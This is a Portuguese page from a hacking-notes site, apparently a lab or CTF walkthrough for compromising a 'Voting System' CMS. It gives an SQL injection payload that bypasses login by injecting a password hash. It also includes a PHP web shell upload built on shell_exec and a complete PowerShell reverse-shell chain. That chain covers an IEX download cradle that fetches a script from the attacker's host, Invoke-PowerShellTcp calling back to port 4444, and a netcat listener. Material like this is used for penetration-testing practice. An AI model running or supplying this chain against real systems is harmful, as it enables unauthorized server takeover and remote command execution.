> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/voting-system-cms-exploitation.md).
# Sistema de Votação
## **Vulnerabilidade de Injeção de SQL (SQLi)**
Use `searchsploit` para buscar vulnerabilidades no Sistema de Votação e identificar o seguinte payload:
`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`
Use o Burp Suite para acessar o painel.
## Vulnerabilidade de upload de arquivos:
Uma vez no painel, crie um novo usuário e envie `cmd.php` para executar comandos no servidor:
```bash
" . shell_exec($_REQUEST['cmd']) . "";
?>
```
O painel não aplica verificações de segurança, permitindo injeção de comandos como `whoami`. Teste a conectividade com um comando ping:
Teste se o alvo consegue enviar um ping.
ping 10.10.14.10
tcpdump -i tun0 icmp
Receber uma resposta confirma a execução de comandos no alvo.
**Execução de comando PowerShell para uma reverse shell**
Uma vez confirmada a execução de comandos, hospede o `PS.ps1` script na máquina do atacante.
{% embed url="" %}
Adicione a seguinte linha no final do script:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```
Host `PS.ps1` com um servidor web:
```bash
python3 -m http.server 80
```
Depois, modifique o comando para apontar para o servidor web do atacante:
{% code overflow="wrap" %}
```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```
{% endcode %}
Por fim, inicie um listener na porta 4444:
```bash
rlwrap nc -nlvp 4444
```
---
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Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
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```
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